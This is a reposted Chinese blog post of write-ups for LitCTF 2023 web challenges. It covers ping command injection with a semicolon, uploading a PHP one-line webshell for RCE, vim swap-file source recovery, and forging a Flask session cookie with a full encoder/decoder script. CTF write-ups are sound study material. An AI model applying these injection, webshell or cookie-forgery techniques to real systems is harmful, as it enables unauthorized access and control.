当前位置:   article > 正文

2023LitCTF部分web题解

2023LitCTF部分web题解

千里之行,始于足下。

这次我就重点记一下一些没做出来的或者学到东西的题目;


[LitCTF 2023]导弹迷踪

看来哥们眼神不大好,在源码game.js中是直接有flag的

[LitCTF 2023]Follow me and hack me

这题就是根据要求构造get参数和post参数就可以的拿到flag

[LitCTF 2023]Ping 

这题打开,发现有个输入框,提示你ping一下

也就是测试计算机之间是否连通啦

发现,当输入IP地址,他还真能ping,如果输入别的不是IP的东西,就会有提示说不行。

猜测是前端验证输入,尝试Burpsuite抓包绕过一下,先输入IP,抓包改掉变成别的没有错误显示,说明的确是前端验证

 

那为什么输入ip能ping呢 ?服务器那边应该就是把我们的输入的IP拼到ping命令上,那我们加个分号再写其他命令就好了,所以抓包后可以把command改成127.0.0.1;command这样的,ping完了也可以回显我们需要的,那我们先一层层ls,最后把连接根目录的flag,就OK了;

 [LitCTF 2023]1zjs

现在我发现,储存在js源码的flag可以是明文储存,也有可能是给你flag的路径,还有可能保存在js变量里,这属于第二种,根据注释里的flag访问

发现了一堆奇形怪状的编码,大概是JSFuck,然后解码后去掉[]得到flag;

  

[LitCTF 2023]作业管理系统 

一开始是这样子的。随便输入密码和用户名。然后抓包试试看,发现其用户名和密码都是admin,用这个登陆就可以了。

然后开始上传文件,这居然连个前端过滤都没有,那就直接把一句话木马传上去就可以了,同时我们还发现他是上传至当前目录下的,那就当前目录下访问木马,进行RCE,读取flag就可以了

flag=NSSCTF{54502513-6151-49f6-a9c8-9b79ed5d4aab}
 [LitCTF 2023]Vim yyds

首先扫一下目录,发现了有这个swp文件

然后访问,获得文件后,查询可知swp文件是vim编辑器的缓存文件,可以通过其恢复vim的编辑内容

vim -r .index.php.swp

 然后我们就发现这个是网站的源码

 看php部分,发现,如果POST参数等于password变量被base64编码后的结果,就可以在post参数

里执行系统命令,那我们构造payload如下发包即可获得flag 

 [LitCTF 2023]Flag点击就送!

 首先说只有管理员权限才能获得flag,但是输入管理员admin后,发现并没有什么用,回显是“你怎么可能是管理员哦!”,另外,虽然能在目录扫描里发现flag,但实际上访问不到;那就普通个名字进去吧

进去后,点击获取flag,也被告知权限不够;然后F12看看network,在cookies里发现了发现了一个response session cookie值

这个response cookie是服务器回显什么信息的依据,管理员的cookie回显管理员的内容,那我们可以伪造管理员cookie

不过要说明的是,cookie一般经过某个secret_key加密。那我们尝试用脚本解密,知道其格式后,(在这里格式为{name:xxx})我们就可以伪造,然后把明文用一样的办法加密回去,就得到管理员cookie,就可以回显管理员的内容了(看wp说密码是猜出来的,是比赛的名字LitCTF)

脚本如下:

  1. #!/usr/bin/env python3
  2. """ Flask Session Cookie Decoder/Encoder """
  3. __author__ = 'Wilson Sumanang, Alexandre ZANNI'
  4. # standard imports
  5. import sys
  6. import zlib
  7. from itsdangerous import base64_decode
  8. import ast
  9. # Abstract Base Classes (PEP 3119)
  10. if sys.version_info[0] < 3: # < 3.0
  11. raise Exception('Must be using at least Python 3')
  12. elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
  13. from abc import ABCMeta, abstractmethod
  14. else: # > 3.4
  15. from abc import ABC, abstractmethod
  16. # Lib for argument parsing
  17. import argparse
  18. # external Imports
  19. from flask.sessions import SecureCookieSessionInterface
  20. class MockApp(object):
  21. def __init__(self, secret_key):
  22. self.secret_key = secret_key
  23. if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
  24. class FSCM(metaclass=ABCMeta):
  25. def encode(secret_key, session_cookie_structure):
  26. """ Encode a Flask session cookie """
  27. try:
  28. app = MockApp(secret_key)
  29. session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  30. si = SecureCookieSessionInterface()
  31. s = si.get_signing_serializer(app)
  32. return s.dumps(session_cookie_structure)
  33. except Exception as e:
  34. return "[Encoding error] {}".format(e)
  35. raise e
  36. def decode(session_cookie_value, secret_key=None):
  37. """ Decode a Flask cookie """
  38. try:
  39. if(secret_key==None):
  40. compressed = False
  41. payload = session_cookie_value
  42. if payload.startswith('.'):
  43. compressed = True
  44. payload = payload[1:]
  45. data = payload.split(".")[0]
  46. data = base64_decode(data)
  47. if compressed:
  48. data = zlib.decompress(data)
  49. return data
  50. else:
  51. app = MockApp(secret_key)
  52. si = SecureCookieSessionInterface()
  53. s = si.get_signing_serializer(app)
  54. return s.loads(session_cookie_value)
  55. except Exception as e:
  56. return "[Decoding error] {}".format(e)
  57. raise e
  58. else: # > 3.4
  59. class FSCM(ABC):
  60. def encode(secret_key, session_cookie_structure):
  61. """ Encode a Flask session cookie """
  62. try:
  63. app = MockApp(secret_key)
  64. session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  65. si = SecureCookieSessionInterface()
  66. s = si.get_signing_serializer(app)
  67. return s.dumps(session_cookie_structure)
  68. except Exception as e:
  69. return "[Encoding error] {}".format(e)
  70. raise e
  71. def decode(session_cookie_value, secret_key=None):
  72. """ Decode a Flask cookie """
  73. try:
  74. if(secret_key==None):
  75. compressed = False
  76. payload = session_cookie_value
  77. if payload.startswith('.'):
  78. compressed = True
  79. payload = payload[1:]
  80. data = payload.split(".")[0]
  81. data = base64_decode(data)
  82. if compressed:
  83. data = zlib.decompress(data)
  84. return data
  85. else:
  86. app = MockApp(secret_key)
  87. si = SecureCookieSessionInterface()
  88. s = si.get_signing_serializer(app)
  89. return s.loads(session_cookie_value)
  90. except Exception as e:
  91. return "[Decoding error] {}".format(e)
  92. raise e
  93. if __name__ == "__main__":
  94. # Args are only relevant for __main__ usage
  95. ## Description for help
  96. parser = argparse.ArgumentParser(
  97. description='Flask Session Cookie Decoder/Encoder',
  98. epilog="Author : Wilson Sumanang, Alexandre ZANNI")
  99. ## prepare sub commands
  100. subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
  101. ## create the parser for the encode command
  102. parser_encode = subparsers.add_parser('encode', help='encode')
  103. parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
  104. help='Secret key', required=True)
  105. parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
  106. help='Session cookie structure', required=True)
  107. ## create the parser for the decode command
  108. parser_decode = subparsers.add_parser('decode', help='decode')
  109. parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
  110. help='Secret key', required=False)
  111. parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
  112. help='Session cookie value', required=True)
  113. ## get args
  114. args = parser.parse_args()
  115. ## find the option chosen
  116. if(args.subcommand == 'encode'):
  117. if(args.secret_key is not None and args.cookie_structure is not None):
  118. print(FSCM.encode(args.secret_key, args.cookie_structure))
  119. elif(args.subcommand == 'decode'):
  120. if(args.secret_key is not None and args.cookie_value is not None):
  121. print(FSCM.decode(args.cookie_value,args.secret_key))
  122. elif(args.cookie_value is not None):
  123. print(FSCM.decode(args.cookie_value))

使用方法

解密:python flask_session_cookie_manager3.py decode -s 'secret_key' -c '需要解密的session值'

 

加密:python flask_session_cookie_manager3.py encode -s 'secret_key' -t '需要加密的session值'

 获得管理员cookie后用cookie editor上传cookie,并保存。现在有了管理员cookie,再次访问flag,这下就可以获得flag了

  

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/701505
推荐阅读
相关标签
  

闽ICP备14008679号